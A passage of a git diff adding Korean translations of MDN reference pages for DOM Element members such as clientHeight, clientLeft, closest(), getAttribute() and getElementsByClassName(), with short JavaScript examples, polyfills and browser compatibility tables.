+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Element.click_event")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("GlobalEventHandlers.onclick")}}</li>
+ <li>{{event("mousedown")}}</li>
+ <li>{{event("mouseup")}}</li>
+ <li>{{event("mousemove")}}</li>
+ <li>{{event("click")}}</li>
+ <li>{{event("dblclick")}}</li>
+ <li>{{event("mouseover")}}</li>
+ <li>{{event("mouseout")}}</li>
+ <li>{{event("mouseenter")}}</li>
+ <li>{{event("mouseleave")}}</li>
+ <li>{{event("contextmenu")}}</li>
+</ul>
diff --git a/files/ko/web/api/element/clientheight/index.html b/files/ko/web/api/element/clientheight/index.html
new file mode 100644
index 0000000000..764e72b18d
--- /dev/null
+++ b/files/ko/web/api/element/clientheight/index.html
@@ -0,0 +1,70 @@
+---
+title: Element.clientHeight
+slug: Web/API/Element/clientHeight
+translation_of: Web/API/Element/clientHeight
+---
+<p>{{ APIRef() }}</p>
+
+<p><code>읽기 전용 속성인<strong> Element.clientHeight</strong>은</code> 엘리먼트의 내부 높이를 픽셀로 반환합니다. 이 내부 높이라는 것은 내부 여백(padding)을 포함하지만, 수평 스크롤바의 높이, 경계선, 또는 외부 여백(margin)은 포함하지 않습니다.</p>
+
+<p><code>clientHeight는 CSS상의 높이 + CSS상의 내부 여백 - 수평 스크롤바의 높이(존재하는 경우에만)로 </code> 계산됩니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 이 속성은 integer로 반올림됩니다. 소수점이 포함된 값이 필요하다면, {{ domxref("element.getBoundingClientRect()") }}을 사용하시기 바랍니다.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">구문</h2>
+
+<pre class="syntaxbox">var <var>h</var> = <var>element</var>.clientHeight;</pre>
+
+<p><code><var>h는</var></code> 엘리먼트의 높이를 나타내는 픽셀 단위의 integer입니다.</p>
+
+<h2 id="Example" name="Example">예</h2>
+
+<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p>
+
+<p><span style="float: right;"><img alt="Image:BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p>
+
+<p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/" rel="freelink">http://www.best-cat-art.com/</a></p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -20px;">Top</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong><em>margin-top</em><em>margin-bottom</em><em>border-top</em><em>border-bottom</em></div>
+
+<p style="margin-top: 270px;"> </p>
+
+<h2 id="Specification" name="Specification">스펙 정의</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSSOM View', '#dom-htmlelement-clientheight', 'clientheight')}}</td>
+ <td>{{Spec2('CSSOM View')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Notes" name="Notes">주의</h3>
+
+<p><code>clientHeight는 </code>Internet Explorer의 객체 모델에서 소개된 속성입니다.</p>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Element.offsetHeight")}}</li>
+ <li>{{domxref("Element.scrollHeight")}}</li>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Determining_the_dimensions_of_elements">MSDN Determining the dimensions of elements</a></li>
+</ul>
diff --git a/files/ko/web/api/element/clientleft/index.html b/files/ko/web/api/element/clientleft/index.html
new file mode 100644
index 0000000000..9e7afd0a4e
--- /dev/null
+++ b/files/ko/web/api/element/clientleft/index.html
@@ -0,0 +1,66 @@
+---
+title: Element.clientLeft
+slug: Web/API/Element/clientLeft
+translation_of: Web/API/Element/clientLeft
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<p>엘리먼트의 왼쪽 테두리의 너비 (픽셀 단위)입니다. 엘리먼트의 텍스트 방향이 오른쪽에서 왼쪽이고 오버플로로 인해 왼쪽 수직 스크롤 막대가 렌더링되는 경우 수직 스크롤 막대의 너비가 포함됩니다. <code>clientLeft</code>는 왼쪽 여백 또는 왼쪽 패딩을 포함하지 않습니다. <code>clientLeft</code>는 읽기 전용입니다.</p>
+
+<p><a href="en/Gecko">Gecko</a> 기반 응용 프로그램은 Gecko 1.9부터 clientLeft를 지원합니다. (<a href="en/Firefox_3">Firefox 3</a>, {{ Bug(111207) }}에서 구현됨). 이 속성은 Firefox 2 이전 버전은 지원하지 않습니다.</p>
+
+<p><a href="http://kb.mozillazine.org/Layout.scrollbar.side"><code>layout.scrollbar.side</code> 환경 설정</a>이 1 또는 3으로 설정되고 텍스트 방향이 RTL로 설정된 경우 세로 스크롤 막대가 왼쪽에 배치되며 이는 clientLeft가 계산되는 방식에 영향을줍니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 이 속성은 값을 정수로 반올림합니다. 소수점 단위 값이 필요할 경우, {{ domxref("element.getBoundingClientRect()") }}을 사용하십시오.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>left</var> = <var>element</var>.clientLeft;
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<div id="offsetContainer" style="margin: 40px 50px 50px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: relative; display: inline-block;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</p>
+
+<p>Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong> <em>margin-top</em> <em>margin-bottom</em> <em>border-top</em> <em>border-bottom</em></div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSSOM View', '#dom-element-clientleft', 'clientLeft')}}</td>
+ <td>{{Spec2("CSSOM View")}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Element.clientLeft")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p><code>clientLeft</code> was first introduced in the MS IE DHTML object model.</p>
+
+<p>The position of the vertical scrollbar in right–to–left text direction set on the element will depend on the <a class="external" href="http://kb.mozillazine.org/Layout.scrollbar.side"><code>layout.scrollbar.side</code> preference</a></p>
+
+<p>When element has <code>display: inline</code>, then <code>clientLeft</code> returns <code>0</code> regardless of the element's border.</p>
diff --git a/files/ko/web/api/element/closest/index.html b/files/ko/web/api/element/closest/index.html
new file mode 100644
index 0000000000..2bafcaa294
--- /dev/null
+++ b/files/ko/web/api/element/closest/index.html
@@ -0,0 +1,145 @@
+---
+title: Element.closest()
+slug: Web/API/Element/closest
+translation_of: Web/API/Element/closest
+---
+<div>{{APIRef('DOM')}}</div>
+
+<div></div>
+
+<div>기준 {{domxref("Element")}} 에서부터 <code><strong>closest()</strong></code> 메소드를 통해 자신부터 부모 요소 단위로 출발하여 각 요소가 지정한 선택자에 만족할 때까지 탐색한다(문서 루트까지 이동). 이 중 가장 가깝게 조건에 만족한 부모 요소가 반환되며, 조건에 만족한 요소가 없으면 <code>null</code> 값을 반환한다.</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>closestElement</var> = <var>targetElement</var>.closest(<var>selectors</var>);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<ul>
+ <li><code><var>selectors</var></code> CSS 선택자가 들어가는 {{domxref("DOMString")}} 개체 문자열, 예)<br>
+ <code>"p:hover, .toto + q"</code>.</li>
+</ul>
+
+<h3 id="Result_value">Result value</h3>
+
+<ul>
+ <li><code><var>closestElement</var></code> 기준 요소를 포함하여 부모 요소 단위로 선택자 조건에 가장 가까운 {{domxref("Element")}} 객체를 가져오며, <code>null</code> 값이 될 수 있다.</li>
+</ul>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>{{exception("SyntaxError")}} : CSS 선택자 (<code><var>selectors</var></code>)가 올바른 선택자 식이 아닐 경우.</li>
+</ul>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;article&gt;
+ &lt;div id="div-01"&gt;Here is div-01
+ &lt;div id="div-02"&gt;Here is div-02
+ &lt;div id="div-03"&gt;Here is div-03&lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+&lt;/article&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var el = document.getElementById('div-03');
+
+var r1 = el.closest("#div-02");
+// id=div-02 조건이 만족하므로 속성을 가진 부모 요소가 반환된다.
+
+var r2 = el.closest("div div");
+// div 요소에 만족한 요소 중 div 자식을 가리키므로, id=div-03 자신이 만족된다.
+
+var r3 = el.closest("article &gt; div");
+// 가장 가까운 article 요소 바로 하위의 div 요소 id=div-01 속성을 가진 요소가 반환된다.
+
+var r4 = el.closest(":not(div)");
+// div 요소가 아닌 가장 가까운 부모 article 요소가 반환된다.</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>아래 폴리필은 <code>Element.closest()</code>, 메소드를 지원하지 않는 브라우저를 위한 방법이지만, <code>element.matches()</code> 메소드를 사용하므로 IE 9 이상에서 동작한다.</p>
+
+<pre class="brush: js">if (!Element.prototype.matches) {
+ Element.prototype.matches = Element.prototype.msMatchesSelector ||
+ Element.prototype.webkitMatchesSelector;
+}
+
+if (!Element.prototype.closest) {
+ Element.prototype.closest = function(s) {
+ var el = this;
+
+ do {
+ if (el.matches(s)) return el;
+ el = el.parentElement || el.parentNode;
+ } while (el !== null &amp;&amp; el.nodeType === 1);
+ return null;
+ };
+}</pre>
+
+<p>만약 정말 IE 8 지원을 고려해야 한다면, 아래 폴리필을 사용할 수 있다. 그러나 해당 폴리필은 성능이 매우 느리며, IE 8 특성 상 CSS 2.1 사양의 선택자까지밖에 사용할 수 없다. 또한 실제 운영 시 약간의 지연이 발생할 수 있다.</p>
+
+<pre class="brush: js">if (window.Element &amp;&amp; !Element.prototype.closest) {
+  Element.prototype.closest =
+  function(s) {
+    var matches = (this.document || this.ownerDocument).querySelectorAll(s),
+        i,
+        el = this;
+    do {
+      i = matches.length;
+      while (--i &gt;= 0 &amp;&amp; matches.item(i) !== el) {};
+    } while ((i &lt; 0) &amp;&amp; (el = el.parentElement));
+    return el;
+ };
+}
+</pre>
+
+<h2 id="규격">규격</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-element-closest', 'Element.closest()')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Element.closest")}}</p>
+
+<h3 id="Compatibility_notes">Compatibility notes</h3>
+
+<ul>
+ <li>Edge 15-18 브라우저에서는, <code>document.createElement(tagName).closest(tagName)</code> 식이 직접적이던 간접적이던 요소와 연결되지 않았다면 <code>null</code> 값을 반환한다. 예를 들면, <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document" title="The Document interface represents any web page loaded in the browser and serves as an entry point into the web page's content, which is the DOM tree."><code>Document</code></a>객체 내에서 생성한 일반 DOM 요소에서 일어난다.</li>
+</ul>
+</div>
+
+<h2 id="같이보기">같이보기</h2>
+
+<ul>
+ <li>{{domxref("Element")}} 인터페이스.</li>
+ <li>
+ <div class="syntaxbox"><a href="/en-US/docs/Web/Guide/CSS/Getting_started/Selectors">선택자 구문</a></div>
+ </li>
+ <li>
+ <div class="syntaxbox">선택자 구문을 사용하는 다른 메소드: {{domxref("element.querySelector()")}} 및 {{domxref("element.matches()")}}.</div>
+ </li>
+</ul>
diff --git a/files/ko/web/api/element/currentstyle/index.html b/files/ko/web/api/element/currentstyle/index.html
new file mode 100644
index 0000000000..a18422e884
--- /dev/null
+++ b/files/ko/web/api/element/currentstyle/index.html
@@ -0,0 +1,80 @@
+---
+title: Element.currentStyle
+slug: Web/API/Element/currentStyle
+tags:
+ - 돔
+ - 속성 추출
+ - 요소 속성
+translation_of: Web/API/Element/currentStyle
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{ Non-standard_header() }}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p><strong><code>Element.currentStyle</code></strong> 은 표준화된 {{domxref("window.getComputedStyle")}} 메서드의 인터넷 익스플로러 전용 대체 프로퍼티입니다. 오래된 버젼의 인터넷 익스플로러에서 사용 가능합니다.</p>
+
+<h2 id="Specification">Specification</h2>
+
+<p>명세에 포함 되는 부분이 아닙니다.</p>
+
+<p>마이크로소프트 <a href="https://msdn.microsoft.com/en-us/library/ms535231(v=vs.85).aspx">MSDN에 설명이 있습니다</a>.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Microsoft Edge</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>6</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Element.runtimeStyle")}}</li>
+</ul>
diff --git a/files/ko/web/api/element/getattribute/index.html b/files/ko/web/api/element/getattribute/index.html
new file mode 100644
index 0000000000..c8f3947310
--- /dev/null
+++ b/files/ko/web/api/element/getattribute/index.html
@@ -0,0 +1,53 @@
+---
+title: Element.getAttribute()
+slug: Web/API/Element/getAttribute
+tags:
+ - API
+ - DOM
+ - 속성
+translation_of: Web/API/Element/getAttribute
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p><span class="seoSummary"><code>getAttribute()</code> 은 해당 요소에 지정된 값을 반환 합니다.</span> 만약 주어진 속성이 존재 하지 않는 다면, null 값이나 ""(빈문자열); 을 반환 할 것입니다. 자세한 사항은 {{Anch("Notes")}}  참조 하십시오.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox"><em>var attribute</em> = element.getAttribute(<em>attributeName</em>);
+</pre>
+
+<ul>
+ <li><code><em>attribute</em></code>는 <code><em>attributeName</em></code>의 값을 가지고 있는 문자열입니다.</li>
+ <li><code><em>attributeName</em></code>은 값을 얻고자 하는 속성의 이름입니다.</li>
+</ul>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush:js">let div1 = document.getElementById("div1");
+let align = div1.getAttribute("align");
+
+alert(align); // id가 "div1"인 요소(element)의 align 값을 보여줍니다.
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>When called on an HTML element in a DOM flagged as an HTML document, <code>getAttribute()</code> lower-cases its argument before proceeding.</p>
+
+<p>Essentially all web browsers (Firefox, Internet Explorer, recent versions of Opera, Safari, Konqueror, and iCab, as a non-exhaustive list) return <code>null</code> when the specified attribute does not exist on the specified element; this is what <a href="http://dom.spec.whatwg.org/#dom-element-getattribute" title="http://dom.spec.whatwg.org/#dom-element-getattribute">the current DOM specification draft</a> specifies. The old DOM 3 Core specification, on the other hand, says that the correct return value in this case is actually the <em>empty string</em>, and some DOM implementations implement this behavior. The implementation of <code>getAttribute()</code> in XUL (Gecko) actually follows the DOM 3 Core specification and returns an empty string. Consequently, you should use {{domxref("element.hasAttribute()")}} to check for an attribute's existence prior to calling <code>getAttribute()</code> if it is possible that the requested attribute does not exist on the specified element.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.Element.getAttribute")}}</p>
+</div>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-666EE0F9">DOM Level 2 Core: getAttribute</a> (introduced in <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-getAttribute">DOM Level 1 Core</a>)</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+</ul>
diff --git a/files/ko/web/api/element/getelementsbyclassname/index.html b/files/ko/web/api/element/getelementsbyclassname/index.html
new file mode 100644
index 0000000000..f33e43b019
--- /dev/null
+++ b/files/ko/web/api/element/getelementsbyclassname/index.html
@@ -0,0 +1,108 @@
+---
+title: Element.getElementsByClassName()
+slug: Web/API/Element/getElementsByClassName
+translation_of: Web/API/Element/getElementsByClassName
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">{{domxref("Element")}}의 메소드 <code><strong>getElementsByClassName()</strong></code> 는 주어진 클래스를 가진 모든 자식 엘리먼트의 실시간 {{domxref("HTMLCollection")}} 을 반환합니다.</span></p>
+
+<p>{{domxref("Document")}}의 {{domxref("Document.getElementsByClassName", "getElementsByClassName()")}} 메소드는 도큐먼트 루트로부터 도큐먼트 전체를 탐색한다는 점을 제외하고는 동일하게 작동합니다. </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>var <em>elements</em></var> = <em>element</em>.getElementsByClassName(<em>names</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>names</code></dt>
+ <dd>검색할 클래스 혹은 클래스들을 띄어쓰기로 구분한 {{domxref("DOMString")}}</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>실시간으로 업데이트되는 해당 클래스명을 가진 요소 목록의 {{domxref("HTMLCollection")}} 이 반환됩니다.</p>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<p>항상 그렇듯, 반환되는 collection은 실시간입니다. 즉, 함수가 호출된 이후에도 DOM 트리의 현재 상태가 반영됩니다. <code>names</code> 에 해당하는 클래스를 가진 요소가 하위에 추가되면, 그 요소는 즉시 collection에 나타납니다. 비슷하게, <code>names</code> 에 매칭되는 클래스를 갖고 있지 않은 요소에 매칭되는 클래스명이 적용되면, 그 요소 역시 즉시 collection에 나타나게 됩니다.</p>
+
+<p>반대도 역시 마찬가지입니다. 클래스명이 더 이상 <code>names</code> 와 일치하지 않게 되면, collection으로 부터 즉시 제거됩니다.</p>
+
+<div class="note">
+<p><a href="/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">호환모드</a>에서는 클래스명의 대소문자를 구분하지 않습니다. 그 외의 경우에는, 대소문자를 구분합니다.</p>
+</div>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="단일_클래스_찾기">단일 클래스 찾기</h3>
+
+<p>요소들 중 하나의 클래스를 포함하고 있는 요소를 검색하기 위해서는, 그 클래스명을 <code>getElementsByClassName()</code>의 인자로 넣으세요:</p>
+
+<pre class="brush: js">element.getElementsByClassName('test');</pre>
+
+<p>아래의 예시는 <code>main</code> 이라는 <code>id</code> 를 가진 요소의 하위 요소들 중 <code>test</code>라는 클래스를 가진 모든 요소를 탐색합니다. </p>
+
+<pre class="brush: js">document.getElementById('main').getElementsByClassName('test');</pre>
+
+<h3 id="여러개의_클래스로_탐색하기">여러개의 클래스로 탐색하기</h3>
+
+<p><code>red</code> 와 <code>test</code> 라는 클래스를 모두 포함하고 있는 요소를 탐색하기 위해서는 다음과 같이 합니다:</p>
+
+<pre class="brush: js">element.getElementsByClassName('red test');</pre>
+
+<h3 id="결과값_검토하기">결과값 검토하기</h3>
+
+<p>collection의 개별 요소를 가져오기 위해 <code>HTMLCollection</code> 의{{domxref("HTMLCollection.item", "item()")}} 메소드를 이용하거나 표준 배열 문법을 사용할 수 있습니다. 아래는 잘못된 코드의 예시입니다. <code>"matches"</code> 는 <code>"colorbox"</code> 클래스가 삭제됨에 따라 바로 변경될것이기 때문에 <u><strong> 아래의 코드는 작동하지 않습니다.</strong></u></p>
+
+<pre class="brush: js">var matches = element.getElementsByClassName('colorbox');
+
+for (var i=0; i&lt;matches.length; i++) {
+ matches[i].classList.remove('colorbox');
+ matches.item(i).classList.add('hueframe');
+}
+</pre>
+
+<p>대신 다른 방법을 사용하세요. 예시:</p>
+
+<pre class="brush: js">var matches = element.getElementsByClassName('colorbox');
+
+while (matches.length &gt; 0) {
+ matches.item(0).classList.add('hueframe');
+ matches[0].classList.remove('colorbox');
+}</pre>
+
+<p>위 코드는  <code>"colorbox"</code> 클래스를 가진 모든 자식 요소를 찾고, <code>item(0)</code> 을 호출해 <code>"hueframe"</code>이라는 클래스를 추가합니다 . 그리고 <code>"colorbox" </code> 클래스를 제거합니다(배열 표기법을 사용하여). 다른 요소 (만약 남아있다면) 가 <code>item(0)</code> 이 될 것입니다.</p>
+
+<h3 id="배열_함수를_이용해_결과값을_필터링하기">배열 함수를 이용해 결과값을 필터링하기</h3>
+
+<p>{{domxref("HTMLCollection")}}을 <code>this</code> 로 사용하면 {{jsxref("Array.prototype")}} 을 어떤 {{ domxref("HTMLCollection") }}에서든 사용할 수 있습니다. 아래의 예제에서는 <code>test</code> 클래스를 가진 모든 {{HTMLElement("div")}} 요소를 찾아봅니다 :</p>
+
+<pre class="brush: js">var testElements = document.getElementsByClassName('test');
+var testDivs = Array.prototype.filter.call(testElements, function(testElement) {
+ return testElement.nodeName === 'DIV';
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-element-getelementsbyclassname', 'Element.getElementsByClassName()')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Element.getElementsByClassName")}}</p>
diff --git a/files/ko/web/api/element/getelementsbytagname/index.html b/files/ko/web/api/element/getelementsbytagname/index.html
new file mode 100644
index 0000000000..345a8503f4
--- /dev/null
+++ b/files/ko/web/api/element/getelementsbytagname/index.html
@@ -0,0 +1,136 @@
+---
+title: Element.getElementsByTagName()
+slug: Web/API/Element/getElementsByTagName
+translation_of: Web/API/Element/getElementsByTagName
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><strong>Element.getElementsByTagName() </strong>메서드는 제공된 태그 네임(<a href="/en/DOM/element.tagName" title="en/DOM/element.tagName">tag name</a>)을 가지는 엘리먼트의 유효한 {{domxref("HTML 컬랙션")}}를 반환합니다. 엘리먼트가 특정된 범위를 검색하는 경우, 그 자신의 엘리먼트는 제외하고, 특정된 엘리먼트의 하위에 있는 서브트리가 검색됩니다. 반환된 리스트가 <em>live </em>상태이면,  리스트는 DOM 트리와 함께 자동적으로 업데이트 되는 것을 의미합니다. 결과적으로, 동일한 엘리먼트와 인자값으로 <strong>Element.getElementsByTagName()</strong>을 여러번 호출할 필요성은 없어집니다.</p>
+
+<p>HTML 문서 내에서 HTML 엘리먼트가 호출되면, getElementsByTagName는 진행하기 전에 그 인자들을 소문자로 변환합니다. 따라서, 카멜케이스로 이루어진 SVG 엘리먼트를 HTML문서의 서브트리 내에서 매칭하고자 하는 경우에는 {{ domxref("Element.getElementsByTagNameNS()") }}을 사용해야 합니다.</p>
+
+<p>Element.getElementsByTagName는 특정된 엘리먼트의 하위에 있는 엘리먼트 만을 검색하는 것으로 한정된 것을 제외하고는 {{domxref("Document.getElementsByTagName()")}}와 실질적으로 유사합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code><em>elements</em> = <em>element</em>.getElementsByTagName(<em>tagName</em>)</code></pre>
+
+<ul>
+ <li><code>elements</code> is a <em>live</em> {{domxref("HTMLCollection")}} of found elements in the order they appear in the sub-tree. If no elements were found, the <code>HTMLCollection</code> is empty.</li>
+ <li>요소들의 서브트리안에서 나타나는 순서대로 발견된 요소들은 live {{domxref("HTMLCollection")}} 입니다.</li>
+ <li><code>element</code> is the element from where the search should start. Note that only the descendants of this element are included in the search, but not the element itself.</li>
+ <li>검색이 시작되어야 하는 요소에서부터 요소들이라고 할 수 있습니다. 요소 그 자체가 아니라 요소들에서 파생된 요소만 검색에 포함된다는 것을 알아두세요.</li>
+ <li><code>tagName</code> is the qualified name to look for. The special string <code>"*"</code> represents all elements. For compatibility with XHTML, lower-case should be used.</li>
+ <li>tagName은 둘러볼 만한 가치가 있는 이름이다.특별한 문자열인 "*"은 모든 요소들을 대표합니다. XHTML과의 호환성을 위해서, 소문자가 사용되어야 합니다.</li>
+</ul>
+
+<h2 id="Example_예제">Example 예제</h2>
+
+<pre class="brush: js">// check the alignment on a number of cells in a table.
+var table = document.getElementById("forecast-table");
+var cells = table.getElementsByTagName("td");
+for (var i = 0; i &lt; cells.length; i++) {
+ var status = cells[i].getAttribute("data-status");
+ if ( status == "open" ) {
+ // grab the data
+ }
+}
+</pre>
+
+<h2 id="Specifications_명세">Specifications 명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-element-getelementsbytagname', 'Element.getElementsByTagName()')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Changed the return value from {{domxref("NodeList")}} to {{domxref("HTMLCollection")}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}</td>
+ <td>{{Spec2('DOM3 Core')}}</td>
+ <td>No change from {{SpecName('DOM2 Core')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}</td>
+ <td>{{Spec2('DOM2 Core')}}</td>
